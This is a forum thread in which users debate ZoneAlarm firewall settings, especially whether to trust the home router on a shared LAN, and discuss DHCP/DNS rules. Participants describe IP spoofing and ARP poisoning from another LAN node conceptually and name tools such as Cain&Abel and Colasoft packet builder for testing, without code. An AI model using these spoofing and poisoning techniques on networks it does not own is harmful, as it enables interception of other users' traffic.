ZA + uPnP (split posts)

We are talking attack from another node on untrusted LAN, with router as "Trusted"

We have been disgussing LAN/router throughout this thread. Why are you now attempting to divert this to router/internet?

 

LAN is set to internet.... as originally posted...
Only the router is set to trusted.

Fax

 

Yes, and another node on LAN can easily spoof the router IP, and with the router as trusted the packets will be allowed unsolicited.

 

Can you give a concrete example... how the LAN can spoof the router IP?
Unless you have access to the router... what call from the LAN to the router would trigger a call back via the router to my PC though not originating from the LAN but from the router? Its a dead communication...

Once the LAN as router IP it needs to pass via the router to my system.... and my system should originally been calling the router to get back a spoofed reply.

I can't see the logic...

Fax

 

It is very easy to build(create) packets containing any header info (there is even software on the internet that will do this, you just need to know what info to place within the packet), which within a LAN I can use for "ARP poisoning", "DHCP poisoning(Invalid DHCP offer), or simple DOS attacks, these are just some of the "Attacks" I can make on a LAN where the router is trusted(all unsolicited inbound is allowed from that IP)

I will not post info on how bypasses/attacks are made, as they would be removed, as they would be against forum TOS. But I will say that in a LAN where the IP of the gateway/Router is trusted. I can force that PC to make my PC the gateway and all comms would pass through my PC.

Yes, we could go back to where you say, well these attackes can be made when the router is set to internet, but, on such attempts when the router is internet, the unsolicited inbound would cause alert/log of such event, when that IP is set as trusted, spoofed or not, there will be no alert/log.

 

I can see the logic. But this is your learning thread Fax and I won't break the flow of Q and A for you.

My system shares a the Lan router with a second "fun oriented PC" which is used for higher risk surfing. On line gaming no in/out firewall and only free old security software.

So since nobody here should / would fully trust that PC I don't and won't trust that router! Far as I'm concerned it is part of the WWW!

This is why Stem is right again, the best generic advice for all ZA users is set the LAN/Router as Internet.

But it is good that you have accepted that approach now!

 

Nope, this attacks are as difficult as to be in the internet... and still not clear how to do them.

Let's take the example of most home network. Two PC, One Router NAT/SPI.
The router does control DHCP and DNS.

1. Router 192.168.1.1
2. My PC 192.168.1.2
3. Evil PC 192.168.1.3

All communication need to pass via the router since its the one managing DNS and DHCP. Router is closed and evil PC has not access on its configuration. Unless you are taking advantage of a router vulnerability you cannot spoof the router IP and send a a packet via the router to my PC with the same router IP.

If yes, I would really like to see an example. I think we are not talking about concrete exploit code....

Fax

 

Hi ArrowPilot,
actually I like this nick better than your original...

I think we are all here to learn something new... if you do things without knowing why you are doing it... is not really learning

Fax

 

You base your info on what?

It is very easy to send a packet to another PC on LAN with a spoofed IP, which can be set as the router IP. The router does not perform internal SPI (packets routed internally), when the router sees a packet with a destination IP of a PC on LAN, it will forward without checking which PC (IP) the packet as originated. I can place whatever IP I want into the packets source, the router IP or even a non LAN IP.

Set up and try it yourself.

 

Ok, yes, indeed you are right... the same applies from the internet... but from the LAN is easier since you are already starting from a trusted IP...

So, ending message for me is: you can safely set your router as trusted if you trust the LAN. Or if you like: do not set your router as trusted if your LAN is not trusted

For my specific case: I can safely set my router as trusted.

Can we finally agree on this?

Cheers,
Fax

 

I have no problem with you setting the router or LAN as trusted in such a setup as yours(where you know all the LAN is trusted). It as just been my point that not all users can\should do this.

My main concern is the fact that (as you have mentioned yourself) many users have problems with ZA and DHCP/DNS, and the current workaround is to set the LAN/router as trusted, which is, as we agree, not good for all users.

 

The workaround is to set DNS and DHCP as trusted not the LAN.
Looking into, for example, rule based firewall, if you do not allow DNS/DHCP you hardly can have any connection working...

For the specific case of ZA, for example, some ISP needs feedback on the "online" status of the connection, otherwise they will close the active connection and allocated the dynamic IP to another machine...

EDIT: Meanwhile I am trying to spoof and ARP poisoning with a PC in the LAN (using Cain&Abel) and I am miserably failing... well, didn't spend to much time on it and I am not going to spending more...

Cheers,
Fax

 

May i add to this discussion, as i am not trying to take sides here. But, i agree totally agree with you (Stem), in reference to putting the Lan/router, as trusted, not good for all users. On my setup, NOTHING is Trusted. This also applies to the so called Heart Beat messages that ISP's pings your firewall to see what is going on, and that should be allowed for them to enter. Not with me they don't.

 

With a firewall with full SPI (including UDP table) as ZA is supposed to be, the user only needs to set outbound for DHCP/DNS. Certainly not allow all unsolicted inbound from the servers.

Now why am I not surprised by this.
By the way, I thought "cain&abel" was a "password recovery tool for Microsoft Operating Systems"(packet sniffer). Can you create and forward packets/attacks with this?

 

Indeed the Cain&Abel has evolved meanwhile, you have all sort of tools... ARP poisoning, sniffing and the password recovery tools....
But I didn't spend too much time on it...

Fax

 

I think the discussion has been useful in setting the boundaries for saying: "do not trust your router". We started with UPnP and ended up that the key element for reccomending trusted/not trusted is the LAN.

There is nothing wrong to trust the router if your LAN is just your computer or if your are fully controlling the elements of your LAN (i.e. the LAN is secure and trusted).

Fax

 

I will have to take another look (it as been a while).

The tools I use are not available, but, for spoofing/attack for LAN testing, have a play with "Colasoft packet builder", I have used this in the past, you can download from here (free app)

Remember to take the router out of "Trusted" before spoofing the router IP, so that you will get alert/log in ZA. (if the router is set as trusted, and you forward a spoofed packet containing the router IP, then the packet will be allowed onto the stack)

 

Thanks, I will try colasoft....

Fax

 

Hi!
Going back to this... just a clarification... shouldn't be TCP allowed out to the remote port 53 of the DNS server IP and UDP allowed inbound and outbound to the remote port 53 of the DNS server? That is normally was it is done...

For DHCP we would allow (inbound and outbound ) port 67 from the remote port 68 of the router IP using UDP. Then you can block multicast/broadcast...

Fax

 

For DNS: Some servers use TCP, some use UDP (but I do not know any servers that use both). Most rules based firewalls that have a predefined ruleset for DNS will have both (so you user will not have connection problems).

For the UDP to allow in both directions, this depends on the firewall. ZA is full SPI including UDP(pseudo), so only outbound should be needed. You can look at other filters/firewalls to compare, the easiest would be to look at Comodo. You will see from its network rules only outbound is allowed. For DHCP/DNS the replies are allowed due to UDP (pseudo) SPI (as ZA should be doing)

No, first, broadcasts made from the PC for DHCP are from local port 68 to remote port 67.
Again, with a firewall that contains UDP (pseudo) SPI only the outbound broadcast should be needed:-
Allow out UDP local port 68 remote IP 255.255.255.255 remote port 67

I did make a tight ruleset for Comodo (due to a PM). You can see within that ruleset the allowed outbound DHCP broadcast. This works fine with Comodo, with no need to trust the server or place a rule to allow the returned packets (the same is for all other firewalls/packet filters I have used that contain UDP(pseudo) SPI such as CHX)

 

Stem:

Sorry to break into this learning thread but reading the clarifications for Fax here are a 2 extracts that worry me (I'm easily worried )

"ZA is full SPI including UDP(pseudo), so only outbound should be needed. "

"For DHCP/DNS the replies are allowed due to UDP (pseudo) SPI (as ZA should be doing)"

You mention Comodo and CHX.

What I ask you is this do either of those contain the program by program settings features that we are working on in the "How to optimize ZA Pro settings" thread ? ie block MS Media Player and games from connecting out?

 

I promise, last question....

I see UDP returned from port 53 of the DNS back. DNS in the ZA is set as Internet and the logs showed UDP blocked. But set as Trusted it has no UDP in blocked.

Is this normal?? Getting confused

Fax

 

Comodo, yes, this gives program network access control.
CHX, No, this is a packet filter, when I use this I also use SSM or PS to control program network access.

 

This is because of the bug within ZA as I have mentioned. It depends on the hardware NIC being used.
On my first setup for this testing, one NIC worked flawlessly, one had problems with blocked DHCP/DNS.
On my current setup (different hardware), ZA as no problems with DHCP/DNS on either NIC.(My settings are the same as before, broadcasts option disabled, LAN as internet, svchost only allowed outbound, DNS service active at this time, no blocked DHCP/DNS at all, (DNS servers are direct from internet, not router in this setup))

For a test in your setup: Disable the windows DNS client (Service), then check for blocked DNS replies from DNS servers (set as Internet, not trusted).

 

Nope, client DNS/DHCP OFF... DNS internet... still get UDP blocked.
Anyway, does not matter... thanks anyway for the help.

Fax